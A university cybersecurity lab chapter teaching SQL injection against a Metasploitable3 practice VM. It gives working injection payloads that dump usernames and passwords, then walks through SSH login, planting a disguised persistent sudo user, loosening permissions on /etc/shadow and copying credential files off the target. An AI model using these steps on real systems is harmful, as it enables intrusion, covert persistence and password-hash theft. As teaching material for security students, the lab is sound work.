47 Gaining Access – SQL Injection
Dante Rocca and Mathew J. Heath Van Horn, PhD
This section will show students the basics of performing a simple SQL injection. Prior knowledge of SQL is not required since we are walking you through the attack in a “monkey see, monkey do” fashion. This chapter provides experience in exploiting SQL database vulnerabilities. However, extensive SQL knowledge is necessary to conduct this type of attack against non-prescribed targets.
Learning Objectives
- Learn the basics of SQL Injection
Prerequisites
Deliverables
- 4 Screenshots are needed to earn credit for this exercise:
- Successful SQL injection getting usernames and passwords
- Using usernames and passwords to SSH into the target system
- The addition of a new SUDO user as demonstrated by SSH into the target system
- Showing the copy of the target’s shadow file and passwd file in the local (Kali) Downloads folder
Resources
- Deepak Prasad – “DWVA SQL Injection Exploitation Explained (Step-by-Step)” – https://www.golinuxcloud.com/dvwa-sql-injection/
- Murari, G. “Exploiting the Vulnerabilities on Metasloit3 (sic) (Ubuntu) Machine Using Metasploit Framework and Methodologies“, Dec 2020, Concordia University of Edmonton
Contributors and Testers
- Raechel Ferguson, Cybersecurity Student, ERAU-Prescott
- Justin La Zare, Cybersecurity Student, ERAU-Prescott
- Jacob M. Christensen, Cybersecurity Student, ERAU-Prescott
Phase I – Injection basics – find a way in
A SQL injection attack involves running an unintended SQL query using an application’s client input fields. By using creativity within the constraints of the SQL syntax, attackers can access the SQL database, extract or modify information, adjust their inputs, and repeat until they gain access. Our first step is to find a place to insert SQL commands.
NOTE: Some IP addresses in the figures vary because the clarifying screenshots were added from different PCs when testing the lab. Your IPs will also vary.
- Start with the attack environment from Chapter 42 and get it up and running
- Find the IP address of the Metasploitable3-Linux VM using Nmap. In our example, we discovered the Metasploitable3-Linux VM using the this will be 200.200.200.8
- We can see that MySQL is running on port 3306, likely supporting a website.
- Open Firefox on the Kali VM. Go to the address:
http://200.200.200.8
- Click on payroll_app.php
- Log in with the Username admin and the Password admin.
- We got in….sort of. We can see a table trying to display 4 fields, presumably from the MySQL database. We can work with that.
Phase II – SQL Injection
We want to try a few different SQL commands to see what happens. As a reminder, here are some SQL commands:
- ALL CAPS is used to differentiate between SQL commands and data. If a word is typed in ALL CAPS, you know that it is telling SQL to take an action.
- A delimiter separates commands in the way punctuation separates sentences within a paragraph.
- An apostrophe ( ‘ ) delineates the beginning and end of a string.
- A semicolon (;) marks the end of a full SQL command.
- Conditional operators evaluate conditions.
- AND returns records where both on either side of the operator are true
- OR returns records if either of the surrounding conditions is true.
- FROM is used to identify the table that stores the information.
- SELECT is used to retrieve data from the database table.
- UNION is used to combine the records of two or more SELECT statements.
- null indicates the absence of a value where it is being used.
- #, or sometimes –, indicates the beginning of a comment in SQL. This is often why we see this symbol at the end of a SQL injection; it comments out the rest of the query that otherwise would be executed.
- @ is used to denote a user-defined variable in SQL.
- % is a wildcard that can stand for any character or string of characters.
- @@ is used to access global variables and system functions.
- With this information, return to the Payroll sign-on and try some injection. In the username field, type:
‘ OR 1=1 #
- On the backend, the following SQL query may get executed:
SELECT username, first_name, last_name, salary FROM users WHERE username = ‘$user’ and password = ‘$pass’;
- Replacing the $user and $pass variables with the inputs, we get the following query:
SELECT username, first_name, last_name, salary FROM users WHERE username = ‘‘ OR 1=1 #‘ and password = ”;
- This means, “Hey SQL, give me all records in the table where either the username field is blank (as the apostrophe ends the string) or if 1 equals 1.” Since 1 is always equal to 1, this query will retrieve all of the records within the table. The check against the password is never seen because the # symbol comments everything afterward and is not executed.
- You can see that we got more information this way. We can assume that data property names in the database table are named username, first_name, last_name, and salary
- But we don’t know what version of SQL we are using. Knowing this information will help us develop our next SQL injection attack. Type:
‘ UNION SELECT null, null, null, @@version #
- This SQL command is like before. Close out the username string (‘). Join (UNION) the response of a new command. Don’t print in the username column (null), the first name column (null), or the last name column (null). In the fourth column, however, print the (@@version) version of the table. Ignore the rest of the query (#). This gives us a response of:
NOTE: Since the web application expects to print four output columns, the command could also easily be ‘UNION SELECT @@version, null, null, null#’, which would still give us the information. However, ‘UNION SELECT @@version #’ would not because, although the database would happily return the information we seek, the web application will error. This is because the web application will be trying to reference and display columns that do not exist.
- We know from the login page that each user must have a password. Why else would the webpage ask for it? So, let’s take this speculation further and try the following
‘ UNION SELECT username, password, null, null FROM users #
- Since we are appending the results, the information may appear after the existing information:
- Remember, people are predictable. Let’s see if they refused their names and passwords for system access. In your Kali box, try to SSH into the target machine by typing:
> ssh leia_organa@200.200.200.8
- We got in. It is rarely this easy, but it has happened to the authors in real life. It is always worth checking
Phase III – Doing something with this information.
SQL injection got us in the door. So let’s see what else we can do.
- At Princess Leia’s login, type groups:
- Ok, this never happens. Generally, you have to try dozens, hundreds, or even thousands of usernames and passwords to find someone with SUDO rights. On a real system, I would think it was a honeypot. But the target is there for our practice, so let’s go with it
- After gaining access to a system, the next thing we must do is establish persistence. So, let’s create a new user with sudo access. Type
> sudo adduser student
- We need to add this user to a group. Let’s not be obvious, so choose a group that seems innocuous. Type
> sudo cat /etc/group
- Choose a group that appears innocuous. The audio group looks good. Now add this new user to the audio group by typing
> sudo usermod -aG audio student
- If Princess Leia ever changes her password, we (student) will still have access, and we can log into the target machine anytime we want.
- Now modify the sudo permissions so ‘student’ has sudo access. Edit the Sudoers file by typing.
> sudo visudo
- Add the group ‘audio’ to have SUDO access. This means members can run all commands as all groups (including sudo), and this rule applies to all commands run by members of the group
%audio ALL=(ALL:ALL) ALL
- Write out (save) ^O and exit ^X to save the settings.
- Exit the login of Princess Leia by typing.
> exit
- Now SSH into the target machine with the new login account student.
> ssh student@200.200.200.8
- Navigate to the configuration files directory.
> cd /etc
- Change the permissions on the files that contain user information (passwd) and password hashes (shadow) we want to copy.
> sudo chmod 777 passwd
> sudo chmod 777 shadow
- You can now close the SSH login by typing.
> exit
- You can now copy these files from the target machine to the Kali machine for evaluation later.
- In the Kali machine, navigate to the Downloads directory.
> cd ~/Downloads
- Now use SCP (secure copy) to remotely copy the files.
> scp student@200.200.200.8:/etc/passwd target_passwd
> scp student@200.200.200.8:/etc/shadow target_shadow
- Ensure the files are copied by typing.
> ls
End of Lab
Deliverables
4 Screenshots are needed to earn credit for this exercise:
- Successful SQL injection getting usernames and passwords
- Using usernames and passwords to SSH into the target system
- The addition of a new SUDO user as demonstrated by SSH into the target system
- Showing the copy of the target’s shadow file and passwd file in the local (Kali) Downloads folder
Homeworks
Assignment 1 – SQL Injection Practice.
Install OWASP Webgoat on the Kali VM and complete the SQL injection exercises for Into and Advanced.
RECOMMENDED GRADING CRITERIA
- Screenshot of Into exercises completed
- Screenshot of Advanced exercises completed
Assignment 2 – SQL Injection Mitigation
Install OWASP Webgoat on the Kali VM and complete the SQL injection exercises for Mitigation.
RECOMMENDED GRADING CRITERIA
-
- Screenshot of Mitigation exercises completed